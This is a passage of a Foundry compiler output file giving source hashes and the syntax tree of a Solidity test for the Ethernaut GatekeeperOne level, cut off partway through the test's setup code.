/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/attacks/GatekeeperOneAttack.sol":{"keccak256":"0xd1e20082a0819149d2a008850563e889808fdc5bb27bbd0a3cb7754a4f52e754","urls":["bzz-raw://f14533675055c97333af38fb6ed7075bba0c7c577ce6d9a218b675010c7ad6a3","dweb:/ipfs/QmdTqN8gXZmvREuV3tbYGRwakvC1dB1bSTUnEVjWXrKrX6"],"license":"MIT"},"src/levels/GatekeeperOne.sol":{"keccak256":"0x56cca3158a5a2e02a5a3d955a442a58b9f3e28d667b5a590e8d21bd10414717e","urls":["bzz-raw://4d0331f3fa95b69840d34ab5f63ef1d8abe4025f2fd88e9e800db027f0acbcf0","dweb:/ipfs/QmP7N4B5rmWd5XiLyYnwZPVBLMEseTYVkZTDGLMmC3rBBQ"],"license":"MIT"},"src/levels/GatekeeperOneFactory.sol":{"keccak256":"0xa38dd1faa0074f27317f467c83b24f7dc350da5607a46c8b318334a44a5035a7","urls":["bzz-raw://f4b960535752cf5a17f97c8429d2d8be56f3a8babe2e9837688ee1c79bc4ced4","dweb:/ipfs/QmaAxDwkECTL93Zk1WzhUnvVQ6dAFmguTnH1Jgte6wJf7w"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/GatekeeperOne.t.sol":{"keccak256":"0xd3021742a7f6d190dc9a0623abbda1870e75636b61a09616740ee1118e934a7a","urls":["bzz-raw://8eb6ccd40a1ea3c85690726cd252b77dee3e224e5dfd26f0adb942adc8b26019","dweb:/ipfs/QmUaft9kAqBgUrkSKWmpqrnUn9gbnob9qhVXXQ6umTttri"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/GatekeeperOne.t.sol","id":61394,"exportedSymbols":{"Ethernaut":[49101],"GatekeeperOne":[52604],"GatekeeperOneAttack":[49410],"GatekeeperOneFactory":[52659],"Level":[55508],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestGatekeeperOne":[61393],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:2043:132","nodes":[{"id":61202,"nodeType":"PragmaDirective","src":"32:23:132","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":61203,"nodeType":"ImportDirective","src":"57:28:132","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":61394,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":61205,"nodeType":"ImportDirective","src":"86:43:132","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":61394,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":61204,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:132","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61207,"nodeType":"ImportDirective","src":"131:59:132","nodes":[],"absolutePath":"src/levels/GatekeeperOne.sol","file":"src/levels/GatekeeperOne.sol","nameLocation":"-1:-1:-1","scope":61394,"sourceUnit":52605,"symbolAliases":[{"foreign":{"id":61206,"name":"GatekeeperOne","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52604,"src":"139:13:132","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61209,"nodeType":"ImportDirective","src":"191:73:132","nodes":[],"absolutePath":"src/levels/GatekeeperOneFactory.sol","file":"src/levels/GatekeeperOneFactory.sol","nameLocation":"-1:-1:-1","scope":61394,"sourceUnit":52660,"symbolAliases":[{"foreign":{"id":61208,"name":"GatekeeperOneFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52659,"src":"199:20:132","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61211,"nodeType":"ImportDirective","src":"265:72:132","nodes":[],"absolutePath":"src/attacks/GatekeeperOneAttack.sol","file":"src/attacks/GatekeeperOneAttack.sol","nameLocation":"-1:-1:-1","scope":61394,"sourceUnit":49411,"symbolAliases":[{"foreign":{"id":61210,"name":"GatekeeperOneAttack","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49410,"src":"273:19:132","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61213,"nodeType":"ImportDirective","src":"338:48:132","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":61394,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":61212,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"346:5:132","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61215,"nodeType":"ImportDirective","src":"387:44:132","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":61394,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":61214,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"395:9:132","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":61393,"nodeType":"ContractDefinition","src":"433:1641:132","nodes":[{"id":61222,"nodeType":"VariableDeclaration","src":"481:19:132","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"491:9:132","scope":61393,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":61221,"nodeType":"UserDefinedTypeName","pathNode":{"id":61220,"name":"Ethernaut","nameLocations":["481:9:132"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"481:9:132"},"referencedDeclaration":49101,"src":"481:9:132","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":61225,"nodeType":"VariableDeclaration","src":"506:22:132","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"520:8:132","scope":61393,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperOne_$52604","typeString":"contract GatekeeperOne"},"typeName":{"id":61224,"nodeType":"UserDefinedTypeName","pathNode":{"id":61223,"name":"GatekeeperOne","nameLocations":["506:13:132"],"nodeType":"IdentifierPath","referencedDeclaration":52604,"src":"506:13:132"},"referencedDeclaration":52604,"src":"506:13:132","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperOne_$52604","typeString":"contract GatekeeperOne"}},"visibility":"internal"},{"id":61227,"nodeType":"VariableDeclaration","src":"535:21:132","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"551:5:132","scope":61393,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":61226,"name":"address","nodeType":"ElementaryTypeName","src":"535:15:132","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":61229,"nodeType":"VariableDeclaration","src":"562:22:132","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"578:6:132","scope":61393,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":61228,"name":"address","nodeType":"ElementaryTypeName","src":"562:15:132","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":61331,"nodeType":"FunctionDefinition","src":"771:607:132","nodes":[],"body":{"id":61330,"nodeType":"Block","src":"795:583:132","nodes":[],"statements":[{"assignments":[61234],"declarations":[{"constant":false,"id":61234,"mutability":"mutable","name":"users","nameLocation":"830:5:132","nodeType":"VariableDeclaration","scope":61330,"src":"805:30:132","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":61232,"name":"address","nodeType":"ElementaryTypeName","src":"805:15:132","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":61233,"nodeType":"ArrayTypeName","src":"805:17:132","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":61238,"initialValue":{"arguments":[{"hexValue":"32","id":61236,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"850:1:132","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":61235,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"838:11:132","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":61237,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"838:14:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"805:47:132"},{"expression":{"id":61243,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":61239,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61227,"src":"863:5:132","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":61240,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61234,"src":"871:5:132","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":61242,"indexExpression":{"hexValue":"30","id":61241,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"877:1:132","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"871:8:132","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"863:16:132","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":61244,"nodeType":"ExpressionStatement","src":"863:16:132"},{"expression":{"arguments":[{"id":61248,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61227,"src":"898:5:132","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":61249,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"905:7:132","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":61245,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"889:2:132","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61247,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"892:5:132","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"889:8:132","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":61250,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"889:24:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61251,"nodeType":"ExpressionStatement","src":"889:24:132"},{"expression":{"id":61256,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":61252,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61229,"src":"924:6:132","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":61253,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61234,"src":"933:5:132","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":61255,"indexExpression":{"hexValue":"31","id":61254,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"939:1:132","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"933:8:132","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"924:17:132","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":61257,"nodeType":"ExpressionStatement","src":"924:17:132"},{"expression":{"arguments":[{"id":61261,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61229,"src":"960:6:132","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":61262,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"968:8:132","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":61258,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"951:2:132","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61260,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"954:5:132","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"951:8:132","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":61263,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"951:26:132","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61264,"nodeType":"ExpressionStatement","src":"951:26:132"},{"expression":{"arguments":[{"id":61268,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61227,"src":"1002:5:132","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":61265,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"988:2:132","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61267,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"991:10:132","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"988:13:132","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) 